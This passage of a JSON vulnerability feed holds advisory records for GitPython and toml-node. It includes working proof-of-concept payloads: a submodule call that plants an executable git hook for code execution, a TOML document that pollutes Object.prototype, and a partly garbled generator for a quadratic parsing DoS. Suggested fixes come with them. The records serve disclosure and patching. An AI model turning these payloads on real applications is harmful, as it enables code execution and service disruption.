exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114145","cveId":"CVE-2026-114145","aliases":["GHSA-83vg-56qc-22m7"],"kind":"vulnerability","title":"GitPython validates a submodule's \".git\" path only after cloning into it (RCE)","summary":"`create_submodule(name, path, url)` clones a submodule into the repo's own `.git`\ndirectory before it rejects the path. A `path` of \".git/hooks\" is accepted by the\npre-clone check, so the submodule is cloned straight into the live hooks directory,\nand a file named `post-checkout` in the submodule becomes an executable\n`.git/hooks/post-checkout`. On 3.2.0+ the later index check does raise `ValueError`,\nbut only after the clone already wrote to disk, and it does not remove the planted\nhook; on 3.1.x there is no such check and the call succeeds silently. Either way the\nhook runs on the next git operation (e.g. checkout), giving code execution.\n\nThe checkout path is validated too late, after the clone has already mutated disk.\nThis breaks the \"validate before mutation\" invariant that commit 43a43cd8 (\"Validate\nsubmodule checkout and metadata paths before mutation\") set out to enforce.","detail":"### Summary\n\n`create_submodule(name, path, url)` clones a submodule into the repo's own `.git`\ndirectory before it rejects the path. A `path` of \".git/hooks\" is accepted by the\npre-clone check, so the submodule is cloned straight into the live hooks directory,\nand a file named `post-checkout` in the submodule becomes an executable\n`.git/hooks/post-checkout`. On 3.2.0+ the later index check does raise `ValueError`,\nbut only after the clone already wrote to disk, and it does not remove the planted\nhook; on 3.1.x there is no such check and the call succeeds silently. Either way the\nhook runs on the next git operation (e.g. checkout), giving code execution.\n\n### Details\n\nThe checkout path is validated too late, after the clone has already mutated disk.\nThis breaks the \"validate before mutation\" invariant that commit 43a43cd8 (\"Validate\nsubmodule checkout and metadata paths before mutation\") set out to enforce.\n\nSubmodule.add() calls the permissive path check before cloning, and the strict check\nonly reaches the \".git\" alias at index time, after _clone_repo has written to disk:\n\ngit/objects/submodule/base.py (Submodule.add)\n 599: path = cls._to_relative_path(repo, path) # accepts \".git/hooks\"\n 673: mrepo = cls._clone_repo(repo, url, path, name, ...) # clones into /.git/hooks\n 714: index.add([sm], write=True) # strict check only triggers here\n\ngit/index/base.py (IndexFile._preprocess_add_items)\n 732: _validate_repo_path(entry.path) # rejects \".git\", too late\n\n_to_relative_path only blocks `..`/absolute/out-of-tree paths; `.git` aliases are\nrejected only by _validate_repo_path, which was added in 3.2.0 (commit a75aedf3) and\nruns at the index boundary. The ValueError it raises at line 732 does not roll back\nwhat _clone_repo already wrote.\n\nVersion-dependent behavior:\n- 3.2.0 .. tip bda18e08: _validate_repo_path raises ValueError at index.add, but the\n hook is already on disk and is not removed (incorrect order of validation vs. clone).\n- 3.1.x (e.g. 3.1.59): _validate_repo_path does not exist and _to_relative_path does\n not reject `.git`; create_submodule(path=\".git/hooks\", ...) returns with no error at\n all and the hook is planted silently.\n\n### Proof of concept\n\nSetup:\n evilsub/ : a git repo whose ROOT contains an executable file named post-checkout (the payload)\n victim/ : a git repo with at least 1 commit and a second branch, whose .git/hooks has NO\n sample hooks (the state of a minimal/CI checkout, or `git init` with an empty\n template dir, or GIT_TEMPLATE_DIR/init.templateDir empty)\n\nimport git, os.path as osp\ntry:\n git.Repo(\"victim\").create_submodule(name=\"x\", path=\".git/hooks\", url=osp.abspath(\"evilsub\"))\nexcept ValueError:\n pass # 3.2.0+: \".git\" is rejected, but only AFTER the clone, so the plant already happened.\n # 3.1.x: no exception is raised at all; the call succeeds and still plants the hook.\n\n#### victim/.git/hooks/post-checkout now exists, mode 0755, attacker-controlled, on every\n#### affected version. Any later checkout runs it:\n#### git -C victim checkout -> the hook runs -> code execution\n\nVerified live:\n- tip bda18e08 (3.2.0 + 3 commits): create_submodule raised ValueError from\n git/index/base.py:732, yet .git/hooks/post-checkout was present and executable, and\n `git checkout` executed it.\n- 3.1.59: create_submodule returned with no error; .git/hooks/post-checkout was planted\n and executed by `git checkout`.\n\n### Impact\n\nArbitrary code execution. A library/app that creates a submodule from an\nattacker-influenced `path` ends up with an attacker-controlled executable in\n`.git/hooks`, which git runs on ordinary later operations. This affects any service\nthat derives a submodule checkout path from untrusted data, e.g. one that ingests a\nsubmodule spec (name/path/url) from a user-supplied manifest or API request and feeds\n`path` into create_submodule. On 3.2.0+ the library's own validation is the thing that\nfails: it correctly rejects the `.git` path, but only after the submodule has already\nbeen cloned into place, so an app that traps the ValueError reasonably believes the\nunsafe path was blocked.\n\nPreconditions (hence AC:H): (1) the app passes an attacker-influenced submodule `path`;\n(2) the target hook name is free in `.git/hooks`, true for minimal/CI/container\ncheckouts and whenever init.templateDir/GIT_TEMPLATE_DIR is empty. With the default\nsample hooks present, `git clone` refuses the non-empty destination and no plant occurs.\n\nAffected: all tested versions from 3.1.x (3.1.59) through the current tip bda18e08\n(3.2.0 + 3 commits). 3.1.x plants silently; 3.2.0+ plants despite raising ValueError.\n\nAffected package ranges reported by GitHub:\nGitpython: <= 3.2.0","action":"GitHub lists first patched versions: Gitpython: 3.2.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:41:14.000Z","updatedAt":"2026-10-23T15:17:25.770Z","regions":["Global"],"vendor":null,"product":"Gitpython","stacks":["Python packages (PyPI)","Gitpython","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114145","asOf":"2026-10-23T15:17:25.770Z"},"epss":{"probability":0.0035,"percentile":0.28367,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114145&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-83vg-56qc-22m7","url":"https://github.com/advisories/GHSA-83vg-56qc-22m7","type":"primary","publishedAt":"2026-10-22T16:41:14.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-83vg-56qc-22m7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-83vg-56qc-22m7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-83vg-56qc-22m7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-83vg-56qc-22m7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-83vg-56qc-22m7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-83vg-56qc-22m7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-83vg-56qc-22m7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-83vg-56qc-22m7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-83vg-56qc-22m7, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-114145","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114145","type":"primary","publishedAt":"2026-10-21T21:17:57.250Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114145&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114145, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114142","cveId":"CVE-2026-114142","aliases":["GHSA-h895-cgqg-jf52"],"kind":"vulnerability","title":"toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype","summary":"A four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process — including objects produced by unrelated libraries.\n\n**1. The path-key encoding is ambiguous.** `quoteDottedString()` quotes a segment only when it contains a `.`, and never escapes a `\"` inside the segment:","detail":"### Summary\nCVE-2026-63376 described prototype pollution through __proto__ key-path desynchronization and was fixed in 4.1.2 by rewriting the path bookkeeping and adding an ownedContainers WeakSet. The desynchronization is still reachable, spelled with a quote character instead of a dot, and the owned-container check is not applied on the path that matters.\n\nA four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process — including objects produced by unrelated libraries.\n\n### Details\nThree gaps compose. All line numbers are `lib/compiler.js` in 5.0.0.\n\n**1. The path-key encoding is ambiguous.** `quoteDottedString()` quotes a segment only when it contains a `.`, and never escapes a `\"` inside the segment:\n\n```js\n287: function quoteDottedString(str) {\n288: if (str.indexOf(\".\") > -1) {\n289: return \"\\\"\" + str + \"\\\"\";\n290: } else {\n291: return str;\n292: }\n293: }\n```\n\nSo the key path `['x.y']` and the key path `['\"x', 'y\"']` both render as the string `\"x.y\"`. This is the same desynchronization CVE-2026-63376 named, with a quote in place of the dot.\n\n**2. A table-array header can clear another key's guard.** `addTableArray()` walks `assignedPaths` / `valueAssignments` with `isSameOrSubPath()` over those ambiguous strings, so a header whose rendered path collides with an unrelated key deletes that key's entry.\n\n**3. The descent in `assign()` has no owned-container check.** `deepRef()` applies `isOwnedContainer()` only to intermediate segments (`lib/compiler.js:265`, `:273`) and returns the final container unchecked. `assign()` then walks it with only a shape test:\n\n```js\n 93: target = target[k];\n...\n103: target[lastKey] = reduced;\n```\n\nA TOML datetime is a `Date`. It satisfies `typeof target[k] === \"object\"` and is not an array, so the walk descends into it — and a `Date` has a live prototype chain to `Object.prototype`.\n\nPutting the three together, a document can make the current table a `Date` and then walk `__proto__.__proto__` to `Object.prototype`.\n\n```bash\nmkdir poc && cd poc && npm init -y >/dev/null && npm install toml@5.0.0\n```\n\n```toml\n# poc.toml\n\"b.c\" = 1979-05-27T07:32:00Z\n[['\"b']]\n[\"b.c\"]\n__proto__.__proto__.polluted = \"yes\"\n```\n\nLine 1 defines a key whose rendered path is `\"b.c\"` and whose value is a `Date`.\nLine 2 is a table-array header whose rendered path collides with it, clearing its guard.\nLine 3 re-enters that key, so the current table is now the `Date`.\nLine 4 walks `Date` → `Date.prototype` → `Object.prototype`.\n\n```js\n// poc.js\nconst toml = require('toml');\nconst fs = require('fs');\n\nconsole.log('before:', JSON.stringify(({}).polluted));\ntoml.parse(fs.readFileSync('poc.toml', 'utf8'));\nconsole.log('after: ', JSON.stringify(({}).polluted));\nconsole.log('Object.prototype.hasOwnProperty(\"polluted\") =', Object.prototype.hasOwnProperty('polluted'));\nconsole.log('JSON.parse(\"{}\").polluted =', JSON.stringify(JSON.parse('{}').polluted));\n```\n\n```\n$ node poc.js\nbefore: undefined\nafter: \"yes\"\nObject.prototype.hasOwnProperty(\"polluted\") = true\nJSON.parse(\"{}\").polluted = \"yes\"\n```\n\nThe payload sets a single harmless marker property. The last line shows the property is visible on an object this code never touched.\n\nA useful control: the same document without line 2 (the guard-clearing header) is correctly rejected on 4.1.2 and later, which confirms the clearing step is what is load-bearing.\n\n### Impact\n\nAny application that parses a TOML document from an untrusted source is affected — a configuration file uploaded by a user, a manifest from a third-party package or repository, a document posted to an API. Prototype pollution of this kind commonly escalates to authentication or authorization bypass, denial of service, and in applications with a suitable gadget, remote code execution, because every object in the process inherits the injected property.\n\nSuggested fix: in `assign()`, apply the same check the intermediate descent already uses — after `target = target[k]`, reject when `!isOwnedContainer(target)`. Equivalently, apply `isOwnedContainer` to the value `deepRef()` returns. Separately, `quoteDottedString()` should escape `\"` inside a segment so that distinct key paths cannot render to the same string.\n\nAffected package ranges reported by GitHub:\ntome: <= 5.0.0","action":"GitHub lists first patched versions: tome: 5.0.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:39:55.000Z","updatedAt":"2026-10-22T16:48:25.420Z","regions":["Global"],"vendor":null,"product":"tome","stacks":["JavaScript packages (npm)","tome","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114142","asOf":"2026-10-22T16:48:25.420Z"},"epss":{"probability":0.00395,"percentile":0.33396,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114142&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-h895-cgqg-jf52","url":"https://github.com/advisories/GHSA-h895-cgqg-jf52","type":"primary","publishedAt":"2026-10-22T16:39:55.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-h895-cgqg-jf52, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-h895-cgqg-jf52, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-h895-cgqg-jf52, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-h895-cgqg-jf52, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-h895-cgqg-jf52, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-h895-cgqg-jf52, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-h895-cgqg-jf52, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-h895-cgqg-jf52, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-h895-cgqg-jf52, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-114142","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114142","type":"primary","publishedAt":"2026-10-21T21:17:56.820Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114142&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114142, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114141","cveId":"CVE-2026-114141","aliases":["GHSA-4qx8-w7c3-pj3p"],"kind":"vulnerability","title":"toml-node: Quadratic-complexity DoS via many array-of-tables headers in toml.parse()","summary":"`toml.parse()` is vulnerable to a quadratic-complexity (O(n²)) denial-of-service via many\narray-of-tables (`[[name]]`) headers. `addTableArray()` in `lib/compiler.js` rescans two\nentire bookkeeping Sets on every `[[name]]` header without pruning unrelated or distinct\nentries, so a document containing n such headers costs O(n²) compiler work. A ~321KB document\nof 20,000 distinct-named `[[name]]` blocks takes ~10.3 seconds to parse — a completely\nordinary-looking TOML shape (a flat settings block plus one or more array-of-tables sections),\nnot a contrived edge case. This is a separate, unpatched code path from the previously fixed\nstack-overflow DoS (`GHSA-82x6-q7mm-w9cf`) and requires no key nesting or dotted keys at all.\n\n- Package: `toml` (npm), repository `BinaryMuse/toml-node`\n- Function: `addTableArray()` in `lib/compiler.js`\n- Confirmed present in the audited checkout at commit `1b2ac40` (2026-07-16), one commit past\n the `v5.0.0` tag (a changelog-only change) — i.e. present in `v5.0.0`, the latest release.\n Not exhaustively verified against every prior release, but the affected function is\n unrelated to `v5.0.0`'s BigInt/Temporal changes (per `CHANGELOG.md`), so the defect likely\n predates that release as well.","detail":"## Summary\n\n`toml.parse()` is vulnerable to a quadratic-complexity (O(n²)) denial-of-service via many\narray-of-tables (`[[name]]`) headers. `addTableArray()` in `lib/compiler.js` rescans two\nentire bookkeeping Sets on every `[[name]]` header without pruning unrelated or distinct\nentries, so a document containing n such headers costs O(n²) compiler work. A ~321KB document\nof 20,000 distinct-named `[[name]]` blocks takes ~10.3 seconds to parse — a completely\nordinary-looking TOML shape (a flat settings block plus one or more array-of-tables sections),\nnot a contrived edge case. This is a separate, unpatched code path from the previously fixed\nstack-overflow DoS (`GHSA-82x6-q7mm-w9cf`) and requires no key nesting or dotted keys at all.\n\n## Affected component / version\n\n- Package: `toml` (npm), repository `BinaryMuse/toml-node`\n- Function: `addTableArray()` in `lib/compiler.js`\n- Confirmed present in the audited checkout at commit `1b2ac40` (2026-07-16), one commit past\n the `v5.0.0` tag (a changelog-only change) — i.e. present in `v5.0.0`, the latest release.\n Not exhaustively verified against every prior release, but the affected function is\n unrelated to `v5.0.0`'s BigInt/Temporal changes (per `CHANGELOG.md`), so the defect likely\n predates that release as well.\n\n## Details\n\n`toml.parse(input, options)` (`index.js:5-9`) forwards the caller-supplied string to\n`parser.parse()` and then `compiler.compile()` with no length or structural validation. Every\n`[[name]]` (array-of-tables) header is routed (`reduce()`, `lib/compiler.js:43`) to\n`addTableArray()` (`lib/compiler.js:218-245`), which performs two full linear scans on every\ncall:\n\n```js\nassignedPaths.forEach(function(p) {\n if (isSameOrSubPath(p, quotedPath)) assignedPaths.delete(p);\n});\nvalueAssignments.forEach(function(p) {\n if (isSameOrSubPath(p, quotedPath)) valueAssignments.delete(p);\n});\n```\n(`lib/compiler.js:228-233`)\n\n`assignedPaths` and `valueAssignments` accumulate one entry per top-level key/table/array path\never assigned in the entire document. Each scan prunes only entries matching the *currently\nreopened* path via `isSameOrSubPath()` (`lib/compiler.js:319-321`: `path === prefix ||\npath.indexOf(prefix + \".\") === 0`); anything else — an unrelated top-level key, or simply a\n*different* array-of-tables name — is never removed and is rescanned in full on every\nsubsequent `[[name]]` header for the rest of the parse. `Set.prototype.forEach` has no early\nexit, so this is unconditionally O(current Set size) on every call, giving O(n²) total work\nfor n such headers.\n\n## Proof of Concept\n\nThe sharpest reproduction needs no unrelated keys at all — just N array-of-tables headers with\nN *distinct* names, since nothing is ever pruned when no name repeats:\n\n```js\nconst toml = require('toml');\n\nfunction distinctArrayHeaders(n) {\n let out = '';\n for (let i = 0; i >` keyed by the\nfirst key component) so `addTableArray()` only ever scans the bucket relevant to the path\nbeing reopened, in time proportional to that bucket's size rather than the whole document's\naccumulated path count:\n\n```js\nvar assignedByRoot = new Map(); // root segment -> Set \n\nfunction addTableArray(node) {\n var path = node.value;\n var root = path[0];\n var bucket = assignedByRoot.get(root) || new Set();\n bucket.forEach(function(p) {\n if (isSameOrSubPath(p, quotedPath)) bucket.delete(p);\n });\n // ...rest of addTableArray unchanged, reading/writing the per-root bucket\n // instead of the global assignedPaths/valueAssignments Sets\n}\n```\n\nAs with the sibling finding, an input-size or table-count limit would also help as\ndefense-in-depth.\n\n## Credit\n\nDiscovered and reported by SecDim Security Research\nsecdim.com | @secdim | security@secdim.com\n\nAffected package ranges reported by GitHub:\ntoml: <= 5.0.0","action":"GitHub lists first patched versions: toml: 5.0.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:38:44.000Z","updatedAt":"2026-10-23T22:16:56.280Z","regions":["Global"],"vendor":null,"product":"toml","stacks":["JavaScript packages (npm)","toml","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114141","asOf":"2026-10-23T22:16:56.280Z"},"epss":{"probability":0.00395,"percentile":0.3348,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114141&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-4qx8-w7c3-pj3p","url":"https://github.com/advisories/GHSA-4qx8-w7c3-pj3p","type":"primary","publishedAt":"2026-10-22T16:38:44.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-4qx8-w7c3-pj3p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-4qx8-w7c3-pj3p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-4qx8-w7c3-pj3p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-4qx8-w7c3-pj3p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-4qx8-w7c3-pj3p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-4qx8-w7c3-pj3p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-4qx8-w7c3-pj3p, its actual identifiers, source 